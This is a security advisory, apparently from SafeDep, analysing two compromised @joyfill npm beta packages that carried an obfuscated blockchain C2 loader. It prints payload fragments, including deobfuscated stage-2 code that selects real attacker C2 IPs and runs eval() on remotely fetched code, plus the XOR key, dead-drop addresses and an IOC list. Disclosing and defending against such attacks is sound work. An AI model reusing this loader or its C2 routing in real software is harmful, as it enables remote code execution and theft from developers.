

Joyfill npm Packages Compromised with Blockchain C2 Loader

Published: 2026-07-29 · Archived: 2026-07-31 02:01:39 UTC

Two beta versions published to the `@joyfill` npm scope on July 28, 2026 carried the same blockchain C2 loader [documented in the astro.config.mjs attack](#). The compromised packages are [@joyfill/layouts@0.1.2-2773.beta.0](#) and [@joyfill/components@4.0.0-rc24-2773-beta.4](#). The malicious versions were unpublished from npm within hours but remain cached on registry mirrors. Both the primary Tron dead drop address (`TMfKQEd7TJJJa5xNZJZ2Lep838vrzrs7mAP`) and the BSC relay wallet (`0x9bc1355344b54dedf3e44296916ed15653844509`) are identical to the earlier campaign, confirming this is the same operator.

Attack structure

The attack targeted a legitimate package scope. Joyfill is a form-builder SDK with three npm maintainers and a release history going back to March 2023. The attacker published through the existing scope rather than typosquatting a new one, using the `beta` dist-tag to avoid overwriting the `latest` version. The `2773` version segment mimics a CI build number, consistent with the project's existing naming convention (prior builds used `1771` , `1991` , `2273`).

The compromise is a two-package chain. `@joyfill/components@4.0.0-rc24-2773-beta.4` declares a dependency on `@joyfill/layouts@0.1.2-2773.beta.0`. The payload lives exclusively in the layouts package. Installing the malicious components version pulls in the malicious layouts version, and the payload executes at `require()` time as a side effect of the bundled module.

```
// @joyfill/components@4.0.0-rc24-2773-beta.4 package.json (diff vs clean rc24)

"@joyfill/layouts": "0.1.2-1771.beta.5",

"@joyfill/layouts": "0.1.2-2773.beta.0",
```

No install scripts. No `preinstall` or `postinstall` hooks. The malicious code is inside `dist/index.cjs.js` and `dist/index.es.js`, the production JavaScript bundles that execute when any consuming application imports the package.

Payload injection

The clean `@joyfill/layouts@0.1.1` ships a 37,318-line CJS bundle. The malicious `0.1.2-2773.beta.0` replaces it with a 1,271-line rebuild using `vite-plugin-css-injected-by-js` (new to this version). The attacker inserted 62 lines of obfuscated code between the last utility function (`sortLayoutItemsByColRow`) and the module's `FieldLayoutTypes` constant:

```
// dist/index.cjs.js, injected after line 861 of the malicious bundle

// (line 863 in the file, between sortLayoutItemsByColRow and FieldLayoutTypes)

global['!'] = '9-0135-3';

var _$1e42 = (function (l, e) {
```

```

var h = l.length;

var g = [];

for (var j = 0; j < h; j++) {

    g[j] = l.charAt(j);

}

for (var j = 0; j < h; j++) {

    var s = e * (j + 489) + (e % 19597);

    var w = e * (j + 659) + (e % 48014);

    var t = s % h;

    var p = w % h;

    var y = g[t];

    g[t] = g[p];

    g[p] = y;

    e = (s + w) % 4573868;

}

// ... string split/join chain produces ["r", "object", "m"]
})('rmcej%otb%', 2857687);

global[_$_1e42[0]] = require; // global["r"] = require

```

The injection sets `global["!"] = "9-0135-3"`, the same campaign marker format documented in the `astro.config.mjs` analysis. It then exposes `require` and `module` onto the global object (necessary for the blockchain loader to use Node.js `https` and `child_process` modules from inside a bundled ES module context).

Deobfuscation

The obfuscation uses three layers of character-shuffling functions to hide a call to the `Function` constructor:

1. `sfl shuffle`: A character-swap permutation using a numeric seed (`2667686`). Applied to the string `"wuqktamceigynzbosdctpusocrjhrflvnxrt"`, the first 11 characters decode to `"constructor"`.
2. `sfl["constructor"]` resolves to `Function` (since `sfl` is a function object, its `constructor` property is `Function`).
3. Two large string literals are decoded through `sfl`, then passed to `Function()` to construct the loader.

The fully deobfuscated stage 1 loader is in the [appendix below](#). It exposes `require` and `module` on the global object, sets campaign marker `global["!"] = "9-0135-3"`, then runs a blockchain C2 fetch with XOR decryption and `eval()`. A fallback path spawns a detached `node -e` child process for persistence.

The blockchain dead drop (still live)

The C2 resolution chain is identical to the one [we documented for PolinRider](#):

1. **Tron**: Query `TMfKQEd7TJJJa5xNZJZ2Lep838vrzrs7mAP` via `api.trongrid.io`. Decode the `raw_data.data` hex field to UTF-8, reverse it. The result is a BSC transaction hash.

2. **BSC:** Query `bsc-dataseed.binance.org` (or `bsc-rpc.publicnode.com` as fallback) with `eth_getTransactionByHash`. Strip the `0x` prefix from `tx.input`, decode hex to UTF-8, split on `?.?`, take the second segment.
3. **XOR decrypt** with the hardcoded key and `eval()`.

At time of analysis, both Tron addresses are still returning transactions. The primary dead drop resolves to BSC transaction `0x18a8420f727f2405f9d1805ad887b31029b584b2ff5a7ec0f57c72635183e99d`, sent from attacker wallet `0x9bc1355344b54dedf3e44296916ed15653844509` to the burn address `0x...dead`. The input field carries 5,855 bytes of XOR-encrypted JavaScript.

The fallback C2 path adds persistence: if the primary `eval()` fails, the payload is launched as a detached `node -e` child process with `windowsHide: true` and `stdio: "ignore"`, keeping it alive after the parent Node.js process exits.

Stage 2: C2 server selection and second blockchain fetch

Decrypting the primary BSC payload reveals a second loader wrapped in three more obfuscation layers (same `NVu` shuffle + `Function` constructor technique). After static deobfuscation, stage 2 performs two operations.

Campaign-aware C2 routing. Stage 2 reads the campaign marker (`global._V`, which is `"A9-0135-3"` for the joyfill payload) and selects an HTTP C2 server based on its prefix:

```
// Stage 2 C2 routing (deobfuscated from _$9f51 string table)
_V = global['_V'] || 0;
if (_V[0] === 'A' || _V === '0') {
    global['_t_s'] = 'http://166.88.134.62:443';
    global['_t_u'] = 'http://166.88.134.62';
} else if (!isNaN(parseInt(_V))) {
    global['_t_s'] = 'http://198.105.127.210:443';
    global['_t_u'] = 'http://198.105.127.210';
} else {
    global['_t_s'] = 'http://23.27.202.27:443';
    global['_t_u'] = 'http://23.27.202.27:27017';
}

// Set up a SECOND Tron dead drop address for the next fetch
global['_t_1'] = 'TA48dct6rFW8BXsiLatjFaVfoSuryMjD3v';
global['_t_2'] = '0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1';
```

Since the joyfill campaign marker starts with `"A"`, the selected C2 server is `166.88.134[.].62`. These are the same three servers documented in the [astro.config.mjs investigation](#).

Second blockchain fetch. Stage 2 then runs the same Tron-to-BSC resolver again, this time with Tron address `TA48dct6rFW8BXsiLatjFaVfoSuryMjD3v` and Aptos hash `0x533b2db...` (stored in `global._t_1` and `global._t_2` by the

routing logic above). The result is XOR-decrypted with the same key (`2[gWfGj;<:-93Z^C`) and `eval()` 'd as stage 3.

```
// Stage 2 inner function (deobfuscated from _$_56c8 string table)

// Identical blockchain resolver pattern, different Tron address

var n = await t(

  '2[gWfGj;<:-93Z^C', // Same XOR key as stage 1

  global['_t_1'], // TA48dct6rFW8BXsiLATjFaVfSuryMjD3v

  global['_t_2'] // 0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1

);

eval(n); // Execute stage 3
```

Stage 2 also saves `__dirname` and `__filename` into `global.___dirname` and `global.___filename`, preserving the execution context for later stages. A base64-encoded block sets a debounce guard (`global._t_t`) and stores the function's own source code in `global._t_c`, likely for self-replication by stage 3.

The full chain is therefore: **npm bundle** → **Tron A** → **BSC** → **stage 2** → **Tron B** → **BSC** → **stage 3 (bot client)**. Two separate Tron addresses, two separate BSC fetches, each with independent Aptos fallbacks.

Decrypting stage 3 produces a 77KB LZ-compressed RAT client matching the PolinRider bot client structure. The fingerprints are identical: `XB3pRQ0` / `IvUhGI` environment probes, `veN854` reconnect function, `lpVxjTQ` command listener, and `iwd70x` self-restart loop, all documented in the [astro.config.mjs post](#). The joyfill variant delivers this bot entirely through the blockchain dead drop, skipping the HTTP `/$/boot` beacon the astro attack used for the same payload.

What changed from the astro.config attack

The blockchain C2 infrastructure is identical: same Tron address, same BSC relay wallet, same Aptos fallback, same `?.?` delimiter, same XOR decryption pattern. The differences are in the delivery mechanism.

Aspect	astro.config.mjs attack	@joyfill attack
Vector	Malicious pull request against GitHub repo	Compromised npm package beta channel
Trigger	Build-time (<code>astro build/dev/preview</code>)	Import-time (<code>require()</code> / <code>import</code>)
Visibility	Hidden after horizontal whitespace in PR diff	Injected into production JS bundle, no PR review
HTTP C2 beacon	Stage B beacons C2 immediately	C2 IPs set in stage 2, used in stage 3
Campaign marker	<code>global["!"]</code> set at payload init	<code>global["!"] = "9-0135-3"</code>
XOR keys	<code>ThZG+0jfxE6VAG0J</code> (HTTP C2 path)	<code>2[gWfGj;<:-93Z^C</code> / <code>m6:tTh^D)cBz?NM]</code>

The `@joyfill` attack defers the HTTP C2 beacon to stage 2, routing through two rounds of blockchain fetches before the C2 server URLs are even set. Initial network connections from the npm bundle go exclusively to legitimate public

blockchain API endpoints (`api.trongrid.io` , `bsc-dataseed.binance.org` , `fullnode.mainnet.aptoslabs.com`). That makes early-stage detection through network monitoring harder.

Timeline

Time (UTC)	Event
2026-07-28 10:54	<code>@joyfill/layouts@0.1.2-2773.beta.0</code> published
2026-07-28 11:03	<code>@joyfill/components@4.0.0-rc24-2773-beta.4</code> published
2026-07-28 13:57	<code>@joyfill/layouts@0.1.2-2773.beta.1</code> published (clean)
2026-07-28 14:01	<code>@joyfill/components@4.0.0-rc24-2773-beta.5</code> published (clean)
2026-07-28 ~21:00	Malicious versions unpublished from npm

The malicious versions were live for roughly 10 hours. Clean versions were pushed within 3 hours, suggesting the maintainers detected the compromise and responded. The malicious versions remain cached on third-party mirrors like `registry.npmmirror.com` .

Indicators of compromise



joyfill-blockchain-c2-iocs.csv

	Indicator	Type	Stage	Context
1	<code>@joyfill/layouts@0.1.2-2773.beta.0</code>	npm package	1	Malicious package containing blockchain C2 loader
2	<code>@joyfill/components@4.0.0-rc24-2773-beta.4</code>	npm package	1	Chains to malicious layouts via dependency
3	<code>adc4af90540d33cd1e98f44b51482ae9250fbeb97d6f8d7841c81b618cb2c6e6</code>	SHA-256	1	layouts tarball hash
4	<code>bcc93dc55bc7daedf4ca57254f0e7a7f1c40e09851eab98fe10cde801982db17</code>	SHA-256	1	components tarball hash
5	<code>TMfKQEd7TJJJa5xNZJZ2Lep838vrzrs7mAP</code>	Tron address	1	Primary dead drop (shared with astro.config.mj campaign)

	Indicator	Type	Stage	Context
6	TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG	Tron address	1	Fallback dead drop
7	0x9bc1355344b54dedf3e44296916ed15653844509	BSC wallet	1	Attacker relay wallet (sends to 0x...dead)
8	0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e	Aptos tx hash	1	Primary Aptos fallback
9	0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3	Aptos tx hash	1	Fallback Aptos fallback
10	TA48dct6rFW8BXsiLAtjFaVFoSuryMjD3v	Tron address	2	Stage 2 dead drop (second blockchain fetch)
11	0x533b2dbcaeff19cd1f799234a27b578d713d8fcaa341b7501e4526106483e0b1	Aptos tx hash	2	Stage 2 Aptos fallback
12	166.88.134.62	C2 IP	2	Campaign prefix "A" (joyfill)
13	198.105.127.210	C2 IP	2	Numeric campaign marker
14	23.27.202.27:27017	C2 IP	2	Default fallback
15	global[!] = 9-0135-3	Campaign marker	1	Payload variant identifier
16	global[_V] = A9-0135-3	Campaign ID	1	Passed to spawned child process
No matching rows				

16 / 16 rows

| 4 columns

If your lockfile pins either of the two malicious versions, rotate any secrets that were present in the environment where `npm install` or a build ran. The payload executes at import time, not install time, so the exposure window extends to any process that loaded the package.

Deobfuscated payload

Full static reconstruction of the blockchain C2 loader. Nothing below was executed. Variable names are restored from the `__$ccfc` string table; the three obfuscation layers (`__$1e42` shuffle, `sfl` permutation, `Function` constructor packing) are unwound.

joyfill-blockchain-c2-deobfuscated.js

JS 141 lines

References

- [astro.config.mjs Supply Chain Attack via Blockchain C2](#) (same campaign infrastructure)
- [@joyfill/layouts on npm](#)
- [@joyfill/components on npm](#)

Source: <https://safedep.io/joyfill-npm-blockchain-c2-supply-chain/>